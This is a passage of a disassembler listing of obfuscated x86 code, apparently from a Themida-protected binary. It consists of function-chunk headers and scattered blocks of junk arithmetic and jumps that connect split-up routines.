; FUNCTION CHUNK AT 0058F69F SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058F834 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F8D7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F908 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F983 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F9F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FA18 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FB99 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FBD7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058FCD6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FDFF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEDE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FF0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FF52 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0058FFD0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FFFC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059008C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005900FB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590121 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590182 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005901A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005901ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059020F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005902B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005902D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005902E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590362 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005903AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005903FD SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00590481 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005906AA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00590796 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 00590825 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005908E3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590946 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059099F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590A14 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590AB8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00590B96 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00590C7E SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00590D68 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00590E8B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00590F1B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590FAE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590FCF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005911F1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005912FA SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00591578 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005915A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005916DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059183C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591849 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059189F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005919F9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591A23 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591A59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591B45 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00591C01 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591C39 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591C8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591CB8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591D86 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591E4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591F3E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592121 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005921BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059226F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005924EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592589 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005925CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592682 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592751 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005927ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00592813 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592850 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005928B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592A22 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592A47 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592A66 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00592AC0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592AD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592B93 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592D16 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592D8A SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00592EBA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592EEA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00592F1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592F6F SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00593017 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593041 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00593187 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00593263 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593288 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005932A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593301 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005933B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005934D8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00593518 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059357F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593602 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059369B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005936DB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00593719 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059378E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593851 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059389C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005939C8 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00593A54 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593AF9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593BF1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593C7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593D02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593D27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593DAB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593DD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593DF8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593E0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593E2E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593EC8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593F8F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594043 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594079 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594102 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005941D9 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00594336 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005943BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005944D3 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005945B9 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00594606 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059461A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594662 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059474A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005947EE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594805 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00594887 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594AAD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594AF3 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 00594BBD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00594BE3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594C61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594D6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594DF1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594E66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594E8B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059500B SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00595114 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00595141 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595193 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005951C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595251 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00595311 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595484 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005955CF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00595732 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059576E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005957D4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059592E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059599A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005959D2 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00595AB7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595B8B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595C05 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00595DC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595E0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595EDF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595F1D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00596033 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005961A6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005961FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596229 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00596275 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059633B SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0059638D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596408 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00596523 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00596561 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005965AC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005965DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005966A5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059672A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005967C7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059689C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00596925 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005969E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596C82 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596CE4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596D3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596F7F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00597001 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00597026 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005970D1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059730D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059739E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005973D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597483 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005974D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005974EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597513 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059755F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005975A8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059760A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597644 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059766D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005977BE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005977F9 SIZE 0000001B BYTES

		push	ebx
		not	dword ptr [esp+0]
		pop	ebx
		not	ebx
		add	ebx, 1D380FC8h
		add	ecx, ebx
		jmp	loc_596102
; ---------------------------------------------------------------------------


loc_596096:				; CODE XREF: sub_596082-6ECEj
		mov	cl, al
		jmp	loc_5928B0
; ---------------------------------------------------------------------------


loc_59609D:				; CODE XREF: sub_58D966+357Aj
		add	ebx, 0DAE3AF06h
		push	ebx
		jmp	loc_59766D
; ---------------------------------------------------------------------------


loc_5960A9:				; CODE XREF: Themida_:0058F24Dj
		xor	bh, 0BDh
		sub	al, 0B1h
		add	al, bh
		add	al, 0B1h
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		sub	al, bl
		push	ecx
		jmp	loc_5902E5
; ---------------------------------------------------------------------------


loc_5960C3:				; CODE XREF: sub_58E1BA-12E2j
		push	ecx
		mov	ecx, 9C262Bh
		or	ecx, 1E3B7CA5h
		inc	ecx
		sub	ecx, 1EBF7EACh
		mov	eax, ecx
		pop	ecx
		push	eax
		mov	eax, 382B30F1h
		add	ecx, eax
		jmp	loc_58C576
; ---------------------------------------------------------------------------


loc_5960E6:				; CODE XREF: Themida_:00594D4Dj
		push	edi
		push	0AD6h
		mov	[esp+20h+var_20], esp
		add	[esp+20h+var_20], 4
		pop	edi
		add	edi, 4
		jmp	loc_596CE4
; ---------------------------------------------------------------------------


loc_596102:				; CODE XREF: sub_596082+Fj
		mov	ebx, [esp-6+arg_0+2]
		add	esp, 4
		add	eax, 68ED38E5h
		add	eax, ecx
		sub	eax, 68ED38E5h
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_594BBD
sub_596082	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_596122:				; CODE XREF: Themida_:0058D54Bj
		push	79CAh
		mov	[esp], esi
		push	esp
		pop	esi
		push	1A7Bh
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_596EE1
; ---------------------------------------------------------------------------


loc_596141:				; CODE XREF: Themida_:005971FDj
		shr	ebx, 7
		js	loc_58D122
		jmp	loc_590277

; =============== S U B	R O U T	I N E =======================================



sub_59614F	proc near		; CODE XREF: sub_58AE7C+C882j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CC7A SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	1D6637BCh
		pop	edx
		mov	esi, 0FEE1CD78h
		sub	esi, 1A21623Dh
		sub	esi, 5B762322h
		add	esi, edx
		add	esi, 5B762322h
		add	esi, 1A21623Dh
		jmp	loc_58CC7A
sub_59614F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596182:				; CODE XREF: sub_58E66C+393Fj
		sub	edx, 17EA0FFCh
		or	edx, 68F96DDCh
		xor	edx, 6C5C53CDh
		or	eax, edx
		pop	edx
		sub	eax, 25413401h
		add	ebx, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_5947CF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5961A6:				; CODE XREF: sub_596082-5ED6j
		add	ecx, 4
		xor	ecx, [esp+8+var_8]
		jmp	loc_594D6A
; ---------------------------------------------------------------------------


loc_5961B1:				; CODE XREF: sub_596082-8ACAj
		add	esp, 2
		add	bx, 41ABh
		add	bx, ax
		sub	bx, 41ABh
		push	edi
		mov	edi, esp
		jmp	loc_595939
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5961C9:				; CODE XREF: Themida_:00590B91j
		push	esp
		jmp	loc_59172F
; ---------------------------------------------------------------------------


loc_5961CF:				; CODE XREF: Themida_:00596619j
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5952CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5961D8:				; CODE XREF: sub_58E66C-3503j
					; Themida_:00596E9Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59199C
; ---------------------------------------------------------------------------


loc_5961EF:				; CODE XREF: sub_58E66C+77F4j
		mov	edx, esp
		push	edi
		mov	edi, 18832B5Fh
		push	ebx
		jmp	loc_594374
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5961FD:				; CODE XREF: sub_596082-8C13j
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_593DD8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_596212:				; CODE XREF: sub_58AE7C+5D7Bj
		push	ecx
		mov	ch, 8Ch
		push	eax
		mov	ah, 79h
		jmp	loc_58B174
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_59621D:				; CODE XREF: sub_58A5F7+9450j
		xchg	eax, ecx
		push	eax
		push	2A28h
		jmp	loc_58D05A
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596229:				; CODE XREF: sub_596082-96CFj
		xor	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 34158E7Dh
		xor	ebx, ecx
		pop	ecx
		and	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		or	edx, 357E605Ch
		jno	loc_590219
		jmp	loc_58CF1E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, edi
		mov	bl, ch
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_596256:				; CODE XREF: sub_58E91C+4D0Fj
		push	dword ptr [eax]
		add	[esp-0Ch+arg_8], 71B7F62h
		mov	ecx, [esp-0Ch+arg_8]
		push	edi
		mov	edi, esp
		jmp	sub_594D75
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_59626A:				; CODE XREF: Themida_:005912DEj
		or	ecx, 7E1A2ECFh
		jmp	loc_58F4B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596275:				; CODE XREF: sub_596082:loc_5945F9j
		sub	eax, 0B9E7C523h
		dec	eax
		jmp	loc_590FCF
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_596280:				; CODE XREF: Themida_:0058CDF0j
		pop	ecx
		jmp	loc_596F7F
; ---------------------------------------------------------------------------


loc_596286:				; CODE XREF: Themida_:0058B7EEj
		mov	edx, 5D2A78A8h
		neg	edx
		push	775Ah
		mov	[esp], ecx
		push	5D2Bh
		mov	[esp], ebx
		mov	ebx, 5CE55808h
		not	ebx
		jmp	loc_592CC1
; ---------------------------------------------------------------------------


loc_5962A9:				; CODE XREF: Themida_:0058D173j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 73C61DE7h
		neg	ecx
		sub	ecx, 0C449EBFDh
		jmp	loc_58E454
; ---------------------------------------------------------------------------


loc_5962C4:				; CODE XREF: Themida_:00596058j
		not	ebp
		shl	ebp, 1
		jmp	loc_5933EF
; ---------------------------------------------------------------------------


loc_5962CD:				; CODE XREF: Themida_:00591A88j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59482D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58B75C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_5962E3:				; CODE XREF: sub_58B09E+8614j
		push	[esp+10h+var_C]
		pop	esi
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		push	edi
		mov	edi, 4F8B46BCh
		and	edi, 174E7E36h
		shl	edi, 6
		push	edi
		jmp	loc_58ACFD
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5953D2


loc_596303:				; CODE XREF: sub_5909F8+3501j
					; sub_5953D2+Fj
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_590928
; END OF FUNCTION CHUNK	FOR sub_5953D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596320:				; CODE XREF: sub_58E66C+43Dj
		sub	eax, 9BB3CB5Bh
		jmp	loc_5913FF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59632A:				; CODE XREF: Themida_:0058B04Aj
		mov	[esp], ecx
		jmp	loc_58EC8F
; ---------------------------------------------------------------------------


loc_596332:				; CODE XREF: Themida_:0059089Aj
		or	dl, 9
		push	ecx
		jmp	loc_58EE05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59633B:				; CODE XREF: sub_596082-9AFAj
		xor	edx, 92A4BA8Ah
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], esi
		pop	edi
		push	edx
		mov	edx, 6E3D6F80h
		or	edx, 33A223F2h
		or	edx, 5C0236E3h
		shl	edx, 4
		shl	edx, 6
		or	edx, 58BE3B12h
		push	edi
		mov	edi, 81C3D3D0h
		xor	edx, edi
		pop	edi
		jmp	loc_593041
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59637A:				; CODE XREF: sub_593009+2704j
		dec	ecx
		jns	sub_5952B4
		push	ebp
		jmp	loc_58C9ED
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
		rol	byte ptr [esp],	cl
		pushf
		mov	bl, ah
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59638D:				; CODE XREF: sub_596082-8ED7j
		jnz	loc_595251
		add	ecx, 8F253570h
		push	edx
		or	al, 6Dh
		mov	ecx, ecx
; END OF FUNCTION CHUNK	FOR sub_596082
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_59639E:				; CODE XREF: sub_58D6A0+1Fj
					; Themida_:0058FB94j
		dec	ecx
		jg	loc_58BCB9
		jmp	loc_58FB12
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
		pop	eax
		sub	bh, 1
		dec	bh


loc_5963B0:				; CODE XREF: Themida_:00594294j
		mov	ebx, 5362033Ah
		sub	eax, ebx
		pop	ebx
		pop	esi
		add	eax, ebp
		sub	eax, 692D5DDCh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 616E1BC0h
		sub	ebx, 2BFE29E0h
		add	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	653D54B3h
		jmp	loc_591953
; ---------------------------------------------------------------------------


loc_5963E8:				; CODE XREF: Themida_:0059419Dj
		inc	edx
		xor	edx, 67F2491Eh
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 17273911h
		add	edx, 8DA23EC4h
		add	esi, edx
		pop	edx
		jmp	loc_58D98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596408:				; CODE XREF: sub_596082-799Cj
		mov	esp, [esp-0Ah+arg_4+2]
		mov	[esp-0Ah+arg_4+2], edi
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp-0Ah+arg_4+2]
		sub	esp, 4
		mov	[esp-6+arg_0+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		push	4
		pop	esi
		add	ecx, 45A560BBh
		add	ecx, esi
		jmp	loc_58DA96
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941CE


loc_59643D:				; CODE XREF: sub_5941CE+6j
		dec	ebp
		jmp	loc_595D0D
; END OF FUNCTION CHUNK	FOR sub_5941CE
; ---------------------------------------------------------------------------


loc_596443:				; CODE XREF: Themida_:005950D3j
		add	ebp, 4
		jmp	loc_5938EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_59644E:				; CODE XREF: sub_58C878-1FCFj
		mov	cl, ah
		jmp	loc_58B109
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_596455:				; CODE XREF: Themida_:0058BAFAj
					; Themida_:0058C6A8j
		jmp	loc_591539
; ---------------------------------------------------------------------------


loc_59645A:				; CODE XREF: Themida_:00590C79j
		push	ebp
		mov	ebp, 36A91DF1h
		sub	eax, ebp
		jmp	loc_596DD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1BA


loc_596467:				; CODE XREF: sub_58E1BA+5C39j
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_58CEA4
; END OF FUNCTION CHUNK	FOR sub_58E1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_59647F:				; CODE XREF: sub_5F45E7-612B1j
		mov	dh, 0FCh
		add	bl, 0A9h
		jmp	loc_59575C
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_596489:				; CODE XREF: sub_58F160+1B9Cj
					; Themida_:00593801j
		xor	dh, 0CDh
		jmp	loc_5900F4
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CC47


loc_596491:				; CODE XREF: sub_58CC47+2335j
		pop	dword ptr [eax]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58CC47

; =============== S U B	R O U T	I N E =======================================



sub_596498	proc near		; CODE XREF: sub_58C878+1819j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058A791 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B27F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B6DB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058B74C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B9CA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058BB74 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058C433 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA98 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CD49 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D0B8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D1B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E597 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058F313 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F41D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058F451 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058FAE2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058FB38 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FE06 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005904DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590B01 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590B63 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590C5F SIZE 0000000E BYTES
